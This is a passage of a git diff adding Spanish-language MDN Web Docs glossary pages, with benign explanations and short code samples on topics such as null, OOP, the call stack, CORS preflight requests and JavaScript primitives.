+<p>Un nombre de encabezado prohibido es un nombre de <a href="/en-US/docs/Web/HTTP/Headers">encabezado HTTP</a> que no se puede modificar mediante programación; específicamente, un nombre de encabezado de HTTP <strong>solicitud</strong> HTTP.</p>
+
+<p>Contrasta con el {{Glossary("Forbidden response header name")}}.</p>
+
+<p>La modificación de estas cabeceras está prohibida, por lo que el agente de usuario mantiene el control total sobre ellos. Los nombres que comienzan con `<code title="">Sec-</code>` están reservados para crear nuevos encabezados seguros a partir de las {{glossary("API","APIs")}} que usan <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> que otorgan a los desarrolladores control sobre las cabeceras, como {{domxref("XMLHttpRequest")}}.</p>
+
+<p>Los nombres de encabezado prohibidos comienzan con <code>Proxy-</code> or <code>Sec-</code>, o se componen de uno de estos:</p>
+
+<ul class="brief">
+ <li><code title="">Accept-Charset</code></li>
+ <li><code title="">Accept-Encoding</code></li>
+ <li><code title="">Access-Control-Request-Headers</code></li>
+ <li><code title="">Access-Control-Request-Method</code></li>
+ <li><code title="">Connection</code></li>
+ <li><code title="">Content-Length</code></li>
+ <li><code title="">Cookie</code></li>
+ <li><code title="">Cookie2</code></li>
+ <li><code title="">Date</code></li>
+ <li><code title="">DNT</code></li>
+ <li><code title="">Expect</code></li>
+ <li><code title="">Host</code></li>
+ <li><code title="">Keep-Alive</code></li>
+ <li><code title="http-origin">Origin</code></li>
+ <li><code title="http-origin">Proxy-</code></li>
+ <li><code title="http-origin">Sec-</code></li>
+ <li><code title="">Referer</code></li>
+ <li><code title="">TE</code></li>
+ <li><code title="">Trailer</code></li>
+ <li><code title="">Transfer-Encoding</code></li>
+ <li><code title="">Upgrade</code></li>
+ <li><code title="">Via</code></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: El encabezado<code>User-Agent</code> ya no está prohibido, <a href="https://fetch.spec.whatwg.org/#terminology-headers">según la especificación</a> — vea la lista de nombres prohibidos de encabezado (esta fue implementada en Firefox 43), por lo que ahora puede establecerse en un objecto Fetch <a href="/en-US/docs/Web/API/Headers">Headers</a>, a través de XHR <a href="/en-US/docs/Web/API/XMLHttpRequest#setRequestHeader%28%29">setRequestHeader()</a>, etc.</p>
+</div>
diff --git a/files/es/glossary/null/index.html b/files/es/glossary/null/index.html
new file mode 100644
index 0000000000..ac7f9cd30d
--- /dev/null
+++ b/files/es/glossary/null/index.html
@@ -0,0 +1,28 @@
+---
+title: 'Null'
+slug: Glossary/Null
+tags:
+  - Glosario
+translation_of: Glossary/Null
+---
+<p>En ciencias informáticas, un valor <strong>null</strong>  representa una referencia que apunta, generalmente intencionadamente, a una inexistente o inválido {{glossary("objecto","objeto")}} o dirección. <span id="result_box" lang="es"><span class="hps">El significado de</span> <span class="hps">una referencia null</span> <span class="hps">varía entre las</span> <span class="hps">implementaciones de lenguajes</span><span>.</span></span></p>
+
+<p>En {{Glossary("JavaScript")}}, null es uno de los {{Glossary("Primitivo", "valores primitivos")}}.</p>
+
+<h2 id="Aprender_más" style="line-height: 30px; font-size: 2.14285714285714rem;">Aprender más</h2>
+
+<h3 id="Referencia_técnica" style="line-height: 24px; font-size: 1.71428571428571rem;">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Tipos de datos y estructuras de datos en JavaScript</a></li>
+ <li>{{jsxref("null", "Referencia JavaScript para los valores null")}}</li>
+</ul>
+
+<h3 id="Conocimientos_generales" style="line-height: 24px; font-size: 1.71428571428571rem;">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Puntero_%28inform%C3%A1tica%29#Puntero_nulo">Puntero Null en Wikipedia</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/es/glossary/numero/index.html b/files/es/glossary/numero/index.html
new file mode 100644
index 0000000000..6c1b7cd2b5
--- /dev/null
+++ b/files/es/glossary/numero/index.html
@@ -0,0 +1,24 @@
+---
+title: Number
+slug: Glossary/Numero
+tags:
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Number
+---
+<p>En {{Glossary("JavaScript")}}, <strong>Number</strong> es un tipo de datos numérico (<a class="external external-icon" href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit floating point format (IEEE 754)</a>). En otros lenguajes de programación puede existir diferentes tipos numéricos, por ejemplo: Integers, Floats, Doubles, or Bignums.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="es.wikipedia.org/wiki/Tipo_de_dato#Num.C3.A9ricos">Tipos de datos numérico en Wikipedia</a></li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li>La estructura de datos de JavaScript: <a href="/en-US/docs/Web/JavaScript/Data_structures#Number_type">Number</a></li>
+ <li>El objeto global de JavaScript: {{jsxref("Number")}}</li>
+</ul>
diff --git a/files/es/glossary/objecto/index.html b/files/es/glossary/objecto/index.html
new file mode 100644
index 0000000000..aeda572ea9
--- /dev/null
+++ b/files/es/glossary/objecto/index.html
@@ -0,0 +1,13 @@
+---
+title: Object
+slug: Glossary/Objecto
+translation_of: Glossary/Object
+---
+<p>El <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object">Object</a> se refiere a una estructura de datos que contiene datos e instrucciones para trabajar con los datos.  Algunas veces los Objects se refieren a cosas del mundo real, por ejemplo, un object de un coche o mapa en un juego de carreras. {{glossary("JavaScript")}}, Java, C++, y Python son ejemplos de {{glossary("OOP","programación orientada a objetos")}}.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<ul>
+ <li>{{jsxref("Object")}} en la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia">Referencia de JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Objects">Estructura de datos Object en JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/oop/index.html b/files/es/glossary/oop/index.html
new file mode 100644
index 0000000000..e39a7117d4
--- /dev/null
+++ b/files/es/glossary/oop/index.html
@@ -0,0 +1,22 @@
+---
+title: Programación orientada a objetos
+slug: Glossary/OOP
+tags:
+  - OPP
+  - Objeto
+  - Programación orientada a objetos
+  - programacion
+translation_of: Glossary/OOP
+---
+<p><strong>OOP </strong>(Programación orientada a objetos) es un paradigma de programación en el que los datos son encapsulados en <strong>{{glossary("object","objetos")}},</strong> los cuales tienen su propio comportamiento.</p>
+
+<p>{{glossary("JavaScript")}} esta altamente orientado a objetos. Sigue el modelo basado en prototipado (en oposición al modelo basado en <strong>{{glossary("Class","clases")}}</strong>).</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Programación_orientada_a_objetos", "Programaci'ón orientada a objetos")}} en Wikipedia</li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects">Introducción a JavaScript prientado a objetos</a></li>
+</ul>
diff --git a/files/es/glossary/operador/index.html b/files/es/glossary/operador/index.html
new file mode 100644
index 0000000000..0385f67830
--- /dev/null
+++ b/files/es/glossary/operador/index.html
@@ -0,0 +1,17 @@
+---
+title: Operador
+slug: Glossary/Operador
+tags:
+  - Glosario
+  - Scripting
+translation_of: Glossary/Operator
+---
+<p>Parte de la sintaxis reservada consistente en signos de puntuación o carácteres alfanuméricos que tienen funcionalidades incorporadas. Por ejemplo, "+" indica el operador suma y "!" indica el operador "not" (negación).</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">Operadores en JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/operando/index.html b/files/es/glossary/operando/index.html
new file mode 100644
index 0000000000..6a198905e3
--- /dev/null
+++ b/files/es/glossary/operando/index.html
@@ -0,0 +1,15 @@
+---
+title: Operando
+slug: Glossary/Operando
+tags:
+  - Codificación
+  - Glosario
+translation_of: Glossary/Operand
+---
+<p><strong>Un operando</strong> es la parte de una instruccion que representa los datos manipulados por el {{glossary("Operator")}}. por ejemplo, cuando sumas dos numeros, los numeros son el operando y "+" es el operador.</p>
+
+<h2 id="Aprende_mas">Aprende mas</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Operador")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/parse/index.html b/files/es/glossary/parse/index.html
new file mode 100644
index 0000000000..4281a26f2f
--- /dev/null
+++ b/files/es/glossary/parse/index.html
@@ -0,0 +1,23 @@
+---
+title: Parse (análisis sintáctico)
+slug: Glossary/Parse
+translation_of: Glossary/Parse
+---
+<p>"Parsing" significa analizar y convertir un programa en un formato interno que un entorno de ejecución pueda realmente ejecutar, por ejemplo el motor {{glossary("JavaScript")}} dentro de los navegadores.</p>
+
+<p>El <a href="/docs/Web/Guide/HTML/HTML5/HTML5_Parser">navegador analiza el HTML</a> en un árbol {{glossary('DOM')}}. El análisis de HTML implica la "<a href="/docs/Web/API/DOMTokenList">tokenización</a>" (dividir en fragmentos) y en la construcción del árbol. Los "tokens" HTML incluyen etiquetas de inicio y final, así como nombres de atributos y valores. Si el documento está bien formado, el análisis sintáctico es más sencillo y rápido. El "parser" analiza la entrada simbólica en el documento, construyendo el árbol del documento.</p>
+
+<p>Cuando el analizador de HTML encuentra recursos que no bloquean, como una imagen, el navegador solicitará esos recursos y continuará analizando. El análisis puede continuar cuando se encuentra un archivo CSS, pero las etiquetas <code>&lt;script&gt;</code> —particularmente aquellas sin un atributo <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> o <code>defer</code>— bloquean el renderizado, y pausa el análisis de HTML.</p>
+
+<p>Cuando el navegador encuentra estilos CSS, analiza el texto en el Modelo de Objetos CSS (o {{glossary('CSSOM')}}), una estructura de datos que luego utiliza para diseñar la distribución y el pintado. El navegador crea entonces un árbol de "renderizado" (dibujado) a partir de ambas estructuras para poder pintar el contenido en la pantalla. También se descarga el JavaScript, se analiza y luego se ejecuta.</p>
+
+<p>El análisis de JavaScript se hace durante {{glossary("compile time")}} o cuando se invoca el {{glossary("parser")}}, como durante una llamada a un método.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Parsing" lang="en">Parse</a> en Wikipedia (inglés)</li>
+ <li><a href="https://es.wikipedia.org/wiki/Analizador_sint%C3%A1ctico">Analizador sintáctico</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/php/index.html b/files/es/glossary/php/index.html
new file mode 100644
index 0000000000..e1677eef56
--- /dev/null
+++ b/files/es/glossary/php/index.html
@@ -0,0 +1,57 @@
+---
+title: PHP
+slug: Glossary/PHP
+tags:
+  - Glosario
+  - Infraestructura
+translation_of: Glossary/PHP
+---
+<p>PHP (una inicialización recursiva para PHP: preprocesador de hipertexto) es un lenguaje de script de código abierto del lado del servidor que puede integrarse en HTML para crear aplicaciones web y sitios web dinámicos.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Basic_syntax">Basic syntax</h3>
+
+<pre class="brush: php">  // inicio del codigo de PHP
+&lt;?php
+     // PHP code va aqui
+ ?&gt;
+// fin del codigo PHP</pre>
+
+<h3 id="Printing_data_on_screen">Printing data on screen</h3>
+
+<pre class="brush: php">&lt;?php
+   echo "Hola Mundo!";
+?&gt;</pre>
+
+<h3 id="PHP_variables">PHP variables</h3>
+
+<pre class="brush: php">​​​​​​​&lt;?php
+ // variables
+ $nome='Danilo';
+ $sobrenome='Santos';
+ $pais='Brasil';
+ $email='danilocarsan@gmailcom';
+​​​​​​​
+ // imprimiendo las variables
+ echo $nome;
+ echo $sobrenome;
+ echo $pais;
+ echo $email;
+?&gt;</pre>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="http://php.net/">Official website</a></li>
+ <li>{{Interwiki("wikipedia", "PHP")}} en Wikipedia</li>
+ <li><a href="https://en.wikibooks.org/wiki/PHP_Programming">PHP</a> en Wikibooks</li>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+  <ol>
+   <li>{{Glossary("Java")}}</li>
+   <li>{{Glossary("JavaScript")}}</li>
+   <li>{{Glossary("Python")}}</li>
+   <li>{{Glossary("Ruby")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/pila_llamadas/index.html b/files/es/glossary/pila_llamadas/index.html
new file mode 100644
index 0000000000..f164d913ca
--- /dev/null
+++ b/files/es/glossary/pila_llamadas/index.html
@@ -0,0 +1,92 @@
+---
+title: Pila de llamadas
+slug: Glossary/Pila_llamadas
+tags:
+  - Glosario
+  - JavaScript
+  - Pila de llamadas
+translation_of: Glossary/Call_stack
+---
+<p>Una <strong>pila de llamadas</strong> es un mecanismo para que un intérprete (como el intérprete de JavaScript en un navegador web) realice un seguimiento de en que lugar se llama a múltiples {{glossary("function","funciones")}}, qué función se esta ejecutando actualmente y qué funciones son llamadas desde esa función, etc.</p>
+
+<ul>
+ <li>Cuando un script llama a una función, el intérprete la añade a la pila de llamadas y luego empieza a ejecutar la función.</li>
+ <li>Cualquier función o funciones que sean llamadas por esa función son añadidas arriba de la pila de llamadas y serán ejecutadas cuando su llamada sea alcanzada.</li>
+ <li>Cuando la función actual termina, el intérprete la elimina de la pila y reanuda la ejecución donde se quedó.</li>
+ <li>Si la pila necesita más espacio del que se le asignó, se producirá un error de "desbordamiento de pila".</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">function saludar() {
+   // [1] Código
+   diHola();
+   // [2] Código
+}
+function diHola() {
+   return "!Hola!";
+}
+
+// Invocar la función `saludar`
+saludar();
+
+// [3] Código
+</pre>
+
+<p>El código del ejemplo se ejecutaría de la siguiente manera:</p>
+
+<ol>
+ <li>Ignora todas las funciones hasta que alcanza la invocación de la función <code>saludar()</code>.</li>
+ <li>Añade la función <code>saludar()</code> a la lista de la pila de llamadas.
+  <div class="note">
+  <p>Lista de la pila de llamadas:<br>
+   - saludar</p>
+  </div>
+ </li>
+ <li>Ejecuta todas las líneas de código de dentro de la función <code>saludar()</code>.</li>
+ <li>Llega a la incovación de la función <code>diHola()</code>.</li>
+ <li>Añade la función <code>diHola()</code> a la lista de la pila de llamadas.
+  <div class="note">
+  <p>Lista de la pila de llamadas:<br>
+   - saludar<br>
+   - diHola</p>
+  </div>
+ </li>
+ <li>Ejecuta todas las líneas de código de dentro de la función <code>diHola()</code> hasta que llega al final.</li>
+ <li>Devuelve la ejecución a la línea que invocó a la función <code>diHola()</code> y continua con la ejecuación del resto de código de la función <code>saludar()</code>.</li>
+ <li>Elimina la función <code>diHola()</code> de la lista de la pila de llamadas.
+  <div class="note">
+  <p>Lista de la pila de llamadas:<br>
+   - saludar</p>
+  </div>
+ </li>
+ <li>Cuando todo el código dentro de la función <code>saludar()</code> ha sido ejecutado, vuelve a la línea que la invocó y continua ejecutando el resto de código JavaScript.</li>
+ <li>Elimina la función <code>saludar()</code> de la lista de la pila de llamadas.
+  <div class="note">
+  <p>Lista de la pila de llamadas:<br>
+   VACÍA</p>
+  </div>
+ </li>
+</ol>
+
+<p>En resumen, empezamos con una lista de la pila llamadas vacía. Cuando invocamos una función, ésta es automáticamente añadida a la pila de llamadas. Una vez ha ejecutado todo su código, también de manera automática es eliminada de la pila de llamadas. Finalmente, la pila de llamadas vuelve a estar vacía.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Pila de llamadas")}} en Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/es-ES/docs/Glossary">Glosario</a>
+
+  <ul>
+   <li>{{Glossary("Call stack", "Pila de llamadas")}}</li>
+   <li>{{Glossary("function", "Función")}}</li>
+  </ul>
+ </li>
+</ul>
+</section>
diff --git a/files/es/glossary/polyfill/index.html b/files/es/glossary/polyfill/index.html
new file mode 100644
index 0000000000..f679a33a20
--- /dev/null
+++ b/files/es/glossary/polyfill/index.html
@@ -0,0 +1,18 @@
+---
+title: Polyfill
+slug: Glossary/Polyfill
+tags:
+  - Glosario
+translation_of: Glossary/Polyfill
+---
+<p><span id="result_box" lang="es"><span>Un polyfill es un fragmento de código (generalmente JavaScript en la Web) que se utiliza para proporcionar una funcionalidad moderna en navegadores antiguos que no lo admiten de forma nativa.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Por ejemplo, se podría usar un polyfill para imitar la funcionalidad de un elemento HTML Canvas en Microsoft Internet Explorer 7 usando un complemento de Silverlight, o un soporte mímico para </span></span>las unidades rem CSS, o {{cssxref("text-shadow")}},<span class="short_text" id="result_box" lang="es"><span> o lo que tu quieras.</span></span></p>
+
+<h2 id="Leer_más">Leer más</h2>
+
+<h3 id="Conocimientos_Generales">Conocimientos Generales</h3>
+
+<ul>
+ <li><a href="https://remysharp.com/2010/10/08/what-is-a-polyfill">¿Qué es un polyfill?</a> <span id="result_box" lang="es"><span>(artículo de Remy Sharp, creador del término)</span></span></li>
+</ul>
diff --git a/files/es/glossary/pop/index.html b/files/es/glossary/pop/index.html
new file mode 100644
index 0000000000..2de8816ba8
--- /dev/null
+++ b/files/es/glossary/pop/index.html
@@ -0,0 +1,28 @@
+---
+title: POP3
+slug: Glossary/POP
+tags:
+  - Correo
+  - Glosario
+  - Infraestructura
+  - Principiante
+  - Protocolo
+translation_of: Glossary/POP
+---
+<p><strong>POP3</strong> (Protocolo de Oficina de Correo por sus siglas en inglés) es un <a href="/es/docs/Glossary/Protocol">protocolo</a> muy común para obtener correos desde un servidor de correos por medio de una conexión <a href="/es/docs/Glossary/TCP">TCP</a>. POP3 no soporta directorios, a diferencia del más reciente <a href="/es/docs/Glossary/IMAP">IMAP4</a>, el cual es más difícil de implementar dada su extructura más compleja.</p>
+
+<p>Los clientes usualmente recuperan todos los mensajes y luego los eliminan del servidor, pero POP3 permite retener una copia en el servidor. Casi todos los servidores y clientes de correo actualmente soportan POP3.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Protocolo_de_oficina_de_correo">POP</a> en Wikipedia</li>
+ <li><a href="https://tools.ietf.org/html/rfc1734">RFC 1734</a> (Especificación del mecanismo de autenticación de POP3)</li>
+ <li><a href="https://tools.ietf.org/html/rfc1939">RFC 1939</a> (Especificación de POP3)</li>
+ <li><a href="https://tools.ietf.org/html/rfc2449">RFC 2449</a> (Especificación del mecanismo de extensión de POP3)</li>
+ <li><a href="/es/docs/Glossary">MDN Glosario de Web Docs</a>:
+  <ul>
+   <li><a href="/es/docs/Glossary/IMAP">IMAP4</a></li>
+  </ul>
+ </li>
+</ul>
+</section>
diff --git a/files/es/glossary/port/index.html b/files/es/glossary/port/index.html
new file mode 100644
index 0000000000..020985d59c
--- /dev/null
+++ b/files/es/glossary/port/index.html
@@ -0,0 +1,22 @@
+---
+title: Puerto
+slug: Glossary/Port
+tags:
+  - Glosario
+  - Intro
+  - Puerto
+  - Seguridad
+  - red de computadoras
+translation_of: Glossary/Port
+---
+<p>Para un ordenador conectado a una red con una <a href="/es/docs/Glossary/IP_address">dirección IP</a>, un <strong>puerto</strong> es el destino de la comunicación. Los puertos están designados por números, por debajo de 1024 cada puerto está asociado por defecto con un <a href="/es/docs/Glossary/Protocol">protocolo</a> específico.</p>
+
+<p>Por ejemplo, el puerto por defecto para el protocolo <a href="/es/docs/Glossary/HTTP">HTTP</a> es 80 y el puerto por defecto para el protocolo <a href="/es/docs/Glossary/https">HTTPS</a> es 443, por lo tanto un servidor HTTP espera peticiones en esos puertos. Cada protocolo de internet está asociado con un puerto por defecto: <a href="/es/docs/Glossary/SMTP">SMTP</a> (25), <a href="/es/docs/Glossary/POP">POP3</a> (110), <a href="/es/docs/Glossary/IMAP">IMAP</a> (143), <a href="/es/docs/Glossary/IRC">IRC</a> (194), y así sucesivamente.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Puerto_de_red">Puerto</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/preflight_peticion/index.html b/files/es/glossary/preflight_peticion/index.html
new file mode 100644
index 0000000000..6bd66f555a
--- /dev/null
+++ b/files/es/glossary/preflight_peticion/index.html
@@ -0,0 +1,33 @@
+---
+title: Preflight petición
+slug: Glossary/Preflight_peticion
+translation_of: Glossary/Preflight_request
+---
+<p>Una petición preflight CORS es una petición <a href="/en-US/docs/Glossary/CORS">CORS</a> realizada para comprobar si el protocolo {{Glossary("CORS")}} es comprendido.</p>
+
+<p>Es una petición {{HTTPMethod("OPTIONS")}}, que emplea tres cabeceras HTTP: {{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}}, y la cabecera {{HTTPHeader("Origin")}} .</p>
+
+<p>Las peticiones preflight se lanzan automáticamente desde el navegador cuando son necesarias. Normalmente los desarrolladores front-end no necesitan realizar estas peticiones manualmente.</p>
+
+<p>Por ejemplo, un cliente puede preguntar si el servidor permite una petición {{HTTPMethod("DELETE")}} antes de enviar la petición <code>DELETE </code>usando una petición preflight:</p>
+
+<pre>OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org</pre>
+
+<p>Si el servidor lo permite responderá a la petición preflight con una cabecera de respuesta {{HTTPHeader("Access-Control-Allow-Methods")}} que incluirá el método <code>DELETE</code>:</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Length: 0
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/CORS">CORS</a></li>
+ <li>{{HTTPMethod("OPTIONS")}}</li>
+</ul>
diff --git a/files/es/glossary/preprocesador_css/index.html b/files/es/glossary/preprocesador_css/index.html
new file mode 100644
index 0000000000..7304385604
--- /dev/null
+++ b/files/es/glossary/preprocesador_css/index.html
@@ -0,0 +1,21 @@
+---
+title: Preprocesador CSS
+slug: Glossary/Preprocesador_CSS
+translation_of: Glossary/CSS_preprocessor
+---
+<p><span class="seoSummary">Un preprocesador CSS es un programa que te permite generar {{Glossary("CSS")}} a partir de la {{Glossary("syntax")}} única del preprocesador. </span>Existen varios preprocesadores CSS de los cuales escoger, sin embargo la mayoría de preprocesadores CSS añadiran algunas características que no existen en CSS puro, como {{Glossary("variable")}}, mixins, selectores anidados, entre otros. Estas características hacen la estructura de CSS más legible y fácil de mantener.</p>
+
+<p>Para utilizar un preprocesador CSS debes instalar un compilador CSS en tu web  {{Glossary("server")}}.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<p>Estos son algunos de lo preprocesadores CSS más populares:</p>
+
+<ul>
+ <li><a href="http://sass-lang.com/">SASS</a></li>
+ <li><a href="http://lesscss.org/">LESS</a></li>
+ <li><a href="http://stylus-lang.com/">Stylus</a></li>
+ <li><a href="http://postcss.org/">PostCSS</a></li>
+</ul>
diff --git a/files/es/glossary/primitivo/index.html b/files/es/glossary/primitivo/index.html
new file mode 100644
index 0000000000..1966a23803
--- /dev/null
+++ b/files/es/glossary/primitivo/index.html
@@ -0,0 +1,125 @@
+---
+title: Primitivo
+slug: Glossary/Primitivo
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Primitive
+---
+<p><span class="seoSummary">En {{Glossary("JavaScript")}}, un <strong>primitive</strong> (valor primitivo, tipo de dato primitivo) son datos que no son un {{Glossary("object", "objeto")}} y no tienen {{Glossary("method", "métodos")}}. Hay 6 tipos de datos primitivos: {{Glossary("string")}}, {{Glossary("number")}}, {{Glossary("bigint")}}, {{Glossary("boolean")}} , {{Glossary("undefined")}} y {{Glossary("symbol")}}. También hay {{Glossary("null")}}, que aparentemente es primitivo, pero de hecho es un caso especial para cada {{JSxRef("Object")}}: y cualquier tipo estructurado se deriva de <code>null</code> por la {{web.link("/es/docs/Learn/JavaScript/Objects/Inheritance", "Cadena de prototipos")}}.</span></p>
+
+<p>La mayoría de las veces, un valor primitivo se representa directamente en el nivel más bajo de la implementación del lenguaje.</p>
+
+<p>Todos los primitivos son <strong>inmutables</strong>, es decir, no se pueden modificar. Es importante no confundir un primitivo en sí mismo con un valor primitivo asignado a una variable. Se puede reasignar un nuevo valor a la variable, pero el valor existente no se puede cambiar de la misma forma en que se pueden modificar los objetos, los arreglos y las funciones.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo te ayudará a comprender que los valores primitivos son <strong>inmutables</strong>.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">// El uso de un método de cadena no modifica la cadena
+var bar = "baz";
+console.log(bar);               // baz
+bar.toUpperCase();
+console.log(bar);               // baz
+
+// El uso de un método de arreglo muta el arreglo
+var foo = [];
+console.log(foo);               // []
+foo.push("plugh");
+console.log(foo);               // ["plugh"]
+
+// La asignación le da al primitivo un nuevo valor (no lo muta)
+bar = bar.toUpperCase();       // BAZ
+</pre>
+
+<p>Un primitivo se puede reemplazar, pero no se puede modificar directamente.</p>
+
+<h2 id="Otro_ejemplo_paso_a_paso">Otro ejemplo [paso a paso]</h2>
+
+<p>El siguiente ejemplo te ayudará a analizar cómo se ocupa JavaScript de los primitivos.</p>
+
+<h3 class="highlight-spanned" id="JavaScript_2"><span class="highlight-span">JavaScript</span></h3>
+
+<pre class="brush: js line-numbers  language-js notranslate">// El primitivo
+let foo = 5;
+
+// Define una función que debería cambiar el valor primitivo
+function addTwo(num) {
+   num += 2;
+}
+// Otra función que intenta hacer lo mismo
+function addTwo_v2(foo) {
+   foo += 2;
+}
+
+// Llama a tu primera función mientras pasas el primitivo como argumento
+addTwo(foo);
+// Obtiene el valor primitivo actual
+console.log(foo);   // 5
+
+// Intenta de nuevo con tu segunda función...
+addTwo_v2(foo);
+console.log(foo);   // 5
+</pre>
+
+<p>¿Esperaba que fuera <code>7</code> en lugar de <code>5</code>?, si es así, lee cómo se ejecuta este código:</p>
+
+<ul>
+ <li>Para las llamadas a las funciones <code>addTwo</code> y <code>addTwo_v2</code>, JavaScript busca el valor del identificador <code>foo</code>. Encuentra correctamente tu variable instanciada con la primera declaración</li>
+ <li>Después de encontrarla, evalúa la expresión, <code>foo</code> se reemplaza por 5 y el motor de JavaScript pasa ese valor a las funciones como argumento</li>
+ <li>Antes de ejecutar las declaraciones dentro del cuerpo de las funciones, <strong>JavaScript toma una copia del argumento originalmente pasado</strong> (que es un primitivo) y crea una copia local. Estas copias, que existen solo dentro del ámbito de las funciones, son accesibles a través de los identificadores que especificaste en las definiciones de las funciones (<code>num</code> para <code>addTwo</code>, <code>foo</code> para <code>addTwo_v2</code>)</li>
+ <li>Luego, se ejecutan las instrucciones de las funciones:
+  <ul>
+   <li>En la primera función, se creó una variable <code>num</code> local. ¡Estas aumentando su valor en 2, no el valor original de <code>foo</code>!</li>
+   <li>En la segunda función, se creó una variable <code>foo</code> local. ¡Esto incrementa su valor en 2, no el valor original (externo) de <code>foo</code>!, además, en esta situación, no se puede acceder directamente a la variable <code>foo</code> externa. Esto se debe al alcance léxico de JavaScript y al ensombrecimiento de variables resultante. El <code>foo</code> local oculta al <code>foo</code> externo. Para obtener más información, consulta {{JSxRef("../Closures", "Cierres")}}. (Ten en cuenta que <code>window.foo</code> aún se podría usar para acceder a la variable <code>foo</code> externa).</li>
+  </ul>
+ </li>
+ <li>En conclusión, cualquier cambio dentro de tus funciones <strong>no</strong> afectará a la <code>foo</code> original en absoluto, ya que estas modificando <strong>copias</strong> de la misma.</li>
+</ul>
+
+<p>Es por eso que los primitivos son inmutables: en lugar de cambiarlos directamente, modificas una <em>copia, sin afectar el original</em>.</p>
+
+<h2 id="Envolturas_de_objetos_primitivos_en_JavaScript">Envolturas de objetos primitivos en JavaScript</h2>
+
+<p>A excepción de <code>null</code> y <code>undefined</code>, todos los valores primitivos tienen objetos equivalentes que envuelven los valores primitivos:</p>
+
+<ul>
+ <li>{{JSxRef("String")}} para el <code>string</code> primitivo.</li>
+ <li>{{JSxRef("Number")}} para el <code>number</code> primitivo.</li>
+ <li>{{JSxRef("BigInt")}} para el <code>bigint</code> primitivo.</li>
+ <li>{{JSxRef("Boolean")}} para el <code>boolean</code> primitivo.</li>
+ <li>{{JSxRef("Symbol")}} para el <code>symbol</code> primitivo.</li>
+</ul>
+
+<p>El método {{JSxRef("Objetos_globales/Object/valueOf"," valueOf()")}} del contenedor devuelve el valor primitivo.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{JSxRef("../Data_structures", "Introducción a los tipos de datos de JavaScript")}}</li>
+ <li>{{Interwiki("wikipedia", "Tipo de dato primitivo")}} en Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>{{Link("/es/docs/Glossary")}}
+
+  <ol>
+   <li>{{Glossary("JavaScript")}}</li>
+   <li>{{Glossary("string")}}</li>
+   <li>{{Glossary("number")}}</li>
